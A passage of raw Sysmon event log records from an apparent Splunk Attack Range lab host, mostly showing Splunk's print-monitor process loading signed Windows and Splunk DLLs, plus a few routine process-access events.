15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.715{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.714{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.713{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.713{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.713{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000052859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.712{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.712{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.712{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.712{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.712{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.712{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.710{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.710{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.709{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.709{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.709{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.709{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.709{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.709{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000052840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000052836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000052833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000052829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7341-613B-760B-00000000F001}2120C:\Program 